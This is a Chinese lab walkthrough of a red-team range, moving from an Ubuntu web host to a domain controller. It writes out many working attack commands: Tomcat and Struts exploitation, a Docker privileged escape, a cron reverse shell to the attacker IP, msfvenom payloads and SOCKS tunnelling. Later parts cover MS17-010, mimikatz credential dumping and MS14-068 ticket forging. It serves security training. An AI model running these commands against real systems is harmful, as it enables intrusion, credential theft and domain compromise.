环境搭建
我们这里会拿到三台主机,一台web主机,一台win7主机,一台DC主机
机器密码
WEB主机 ubuntu:ubuntu
WIN7主机 douser:Dotest123
(DC)WIN2008主机 administrator:Test2008 登陆后需修改密码,我这里修改为1qaz@WSX
网络配置
首先我们先将我们的VMnet2网卡网段改成192.168.183.0
,如下所示
WEB主机配置
由于处于DMZ区域,所以我们这里给WEB机配置两张网卡,如下所示
WIN7主机配置
WIN7主机只需配置一张内网网卡即可
DC主机配置
DC主机也只需配置一张内网网卡即可
所以我们这里可以总结为下表
名称 | 内网IP | 外网IP |
---|---|---|
攻击机 | 192.168.20.143 | |
WEB | 192.168.183.7 | 192.168.20.145 |
WIN7 | 192.168.183.6 | |
DC | 192.168.183.130 |
开启web服务
我们在web服务器上启动docker服务,执行以下命令
sudo docker start ec 17 09 bb da 3d ab ad
有报错可以不用管,是正常的
外网边界探测
我们首先使用fscan扫描一下这台机子开启了哪些服务,如下所示
我们这里只扫出来了一个22端口,但是我们肯定知道其是开放了web端口的,所以我们换一个工具扫描,我们这里先尝试使用massccan
进行扫描,同时也使用nmap
进行扫描
masscan 192.168.20.145 -p0-65535
nmap -O -sV -p- -A 192.168.20.145
我们可以看到2001
、2002
、2003
端口都是web服务端口,我们这里尝试访问这三个端口
这三个网站好像都有洞可以打进去,逆天了,我们这边都演示一下吧
Struts2漏洞getshell
Struts是一个框架漏洞,我们这里利用Struts2漏洞检测工具进行检测,如下所示
我们这里直接可以执行命令,如下所示
然后我们就可以上传我们的msf木马到我们的指定目录,进而可以getshell,这里就不继续演示了
phpmyadmin漏洞
phpmyadmin在我之前的文章中写过如何进行getshell,就是写入一句话木马,然后再反弹shell即可,具体步骤参考
红日靶场-1 | Borgeousのblog
这个漏洞和版本没关系,只要我们能拿到phpmyadmin的管理权我们就可以这样操作,主要是这个网站的phpmyadmin没有密码保护
Tomcat getshell
我们这里使用nuclei扫描一下网站可能存在的漏洞,如下所示,帮我们扫描出来了CVE-2017-12617,我们尝试使用msf进行利用这个CVE
我们设置好rhost和rport后直接run即可,这样我们就获取了shell权,如下所示
由于不是完整的shell,我们执行下面的语句获取交互式shell
python -c 'import pty;pty.spawn("/bin/bash")'
但是我们这里没有任何反应,我们这里先不管他了,只是会比较麻烦,看着不舒服,但不影响,我们接下来进行信息收集
系统信息收集
我们首先在本地开启一个web服务,如下所示
然后我们在靶机上下载我们提前准备好的linpeas.sh
,如下所示
我们利用这个自动化脚本帮我们收集该linux系统的基本信息
我们在这里发现我们处于docker容器中,所以我们现在首要目标就是从docker容器中逃逸出来,这个脚本并没有给我们任何逃逸的信息,我们只能尝试自己去发现
docker逃逸
由于我们这里是以特权方式启动的docker,所以我们可以尝试使用特权模式进行docker容器逃逸,使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载
我们首先执行fdisk -l
产看磁盘挂载信息,如下所示
我们这里可以看到我们靶机的主磁盘为/dev/sda1
,我们首先先创建一个文件夹来挂载
mkdir /borgeous
mount /dev/sda1 /borgeous
我们接下来就可以通过对主文件的操作,来进行权限获取,我们现在写一个定时任务,设定每秒都执行即可
echo '* * * * * bash -i >& /dev/tcp/192.168.20.143/9001 0>&1' >> /var/spool/cron/crontabs/root
但是我们发现这个系统没有定时任务,即没安装定时任务,所以我们只能换一种思路,我们把本机的公钥放到对方靶机上,这样就能实现免密登录了,如下所示
我们还是开启web服务,然后靶机从我们的web服务上下载密钥
然后我们将这个密钥放入.ssh文件夹中即可
cp id_rsa.pub /borgeous/home/ubuntu/.ssh/authorized_keys
记得赋予authorized_keys权限,然后我们直接尝试用ssh登录即可,但是我们这里还是失败了,我也不知道为什么失败,这里直接使用密码登录吧,密码是ubuntu,我们直接登录上去即可
sudo提权
我们进去了之后执行sudo -l
,出现如下界面
说明当前用户把我们的Ubuntu用户配置成了root权限,所以我们直接执行sudo /bin/bash -p
获取root权限即可,如下所示
内网渗透
msf上线
我们这里先用msf生成一个控制文件,如下所示
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.20.143 LPORT=9999 -f elf > shell.elf
然后我们在我们的攻击机上开启msf控制台,如下所示
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.20.143
set LPORT 9999
exploit
我们开启web服务,让靶机下载我们准备好的恶意elf文件,如下所示
添加可执行权限,执行即可
我们这里成功收到了权限,接下来就是创建代理扫描存活主机
我们这里发现网段为192.168.183.0
,我们直接使用ew
进行内网穿透
ew内网代理
我们在攻击机上执行以下命令
chmod +x ew_for_linux64
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
之后我们通过web服务将ew
上传到靶机上去,如下,然后执行以下命令
./ew_for_linux64 -s rssocks -d 192.168.20.143 -e 1234
当我们靶机出现这个界面的时候说明已经成功了,接下来再修改一下proxychain的配置文件即可,我们添加一句
socks5 127.0.0.1 1080
然后我们试着去ping一下内网,如果可以ping通,就说明我们内网代理设置成功
我们这里成功挂上内网代理,接下来进行内网信息收集
内网信息收集
我们首先使用fscan扫一下全网段,如下所示
我们这里帮我们扫出来了三台机子,分别是192.168.183.6
、192.168.183.7
和192.168.183.130
,其中192.168.183.7
是我们的Ubuntu虚拟机,我们可以不用管它,同时fscan帮我们扫出来两台机子都存在MS17-010漏洞,且192.168.183.130
为DC域控。这边显示出域名为WIN-ENS2VR5TR3N.demo.com
,我们接下来使用两台机子存在的漏洞进行横向移动
横向移动
我们使用msf的模块,先对域控主机的永恒之蓝漏洞进行攻击,如下所示
我们这里使用use 0
,然后就是设置监听机和监听端口,这里就不再赘述
但是我们这里失败了,我们先尝试去打一打另外一台主机,用同样的方式进行攻击
也没成功,红温了,换个payload试试,换成正向连接试试
set payload windows/x64/meterpreter/bind_tcp
密码的,一开始就是一直不成功,一直显示连接不上
后来重启了一下靶机,突然就可以了,也是很离谱,我们这里拿到权限后先进行进程迁移,不然马上就会断开
我们试着获取system权限,使用getsystem
命令获取system权限
我们这里成功获取了system权限,接下来我们使用hash传递进行攻击DC机器,但是这里还有一个问题,就是会话老是被断开,再重复打的过程中,成功把win7干死机了,我这里始终连不上稳定的shell,后续直接在win7上进行了,我真的吐了,我也不知道为什么
MS14-068提权
由于我们靶机的桌面上已经有mimikatz了,所以我们直接运行即可,如下所示
我们首先先抓取一下本机哈希,如下所示
sekurlsa::logonpasswords
USER:douser
Domain:DEMO.COM
NTLM:bc23b0b4d5bf5ff42bc61fb62e13886e
SID:S-1-5-21-979886063-1111900045-1414766810-1107
PASSWORD:Dotest123
接下来我们利用MS14-068进行提权获得域控
该漏洞可导致活动目录整体权限控制受到影响,允许攻击者将域内任意用户权限提升至域管理级别。通俗地讲,如果攻击者获取了域内任何一台计算机的Shell权限,同时知道任意域用户的用户名、SID、密码,即可获得域管理员权限,进而控制域控制器,最终获得域权限
我们操作步骤如下,我们首先生成高权限票据
MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u douser@DEMO.COM -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
将票据文件复制到Windows Sever 2008机器的mimikatz目录下,使用mimikatz将票据注入内存。输入命令“net use \WIN-ENS2VR5TR3N\c$”,提示“Access is denied",表示在将票据注入前无法列出域控制器C盘目录的内容。
这就告诉我们没有权限,我们要清除我们的已有票据,如下所示
打开mimikatz
输入kerberos::purge
当看到"Ticket(s) purge for current session is OK’时,表示清除成功
接着我们将高权限票据注入即可
kerberos::ptc "TGT_douser@DEMO.COM.ccache"
注入成功
我们成功控制到域控文件系统,接下来我们就可以生成后门木马文件并上传到我们的域控C盘,进而拿到我们的DC控制权,本题到此结束
总结
内网东西太多太杂了,而且很容易出现各种问题,msf使用还是不够熟练,还是得多练,还是得加强训练,太菜了呜呜呜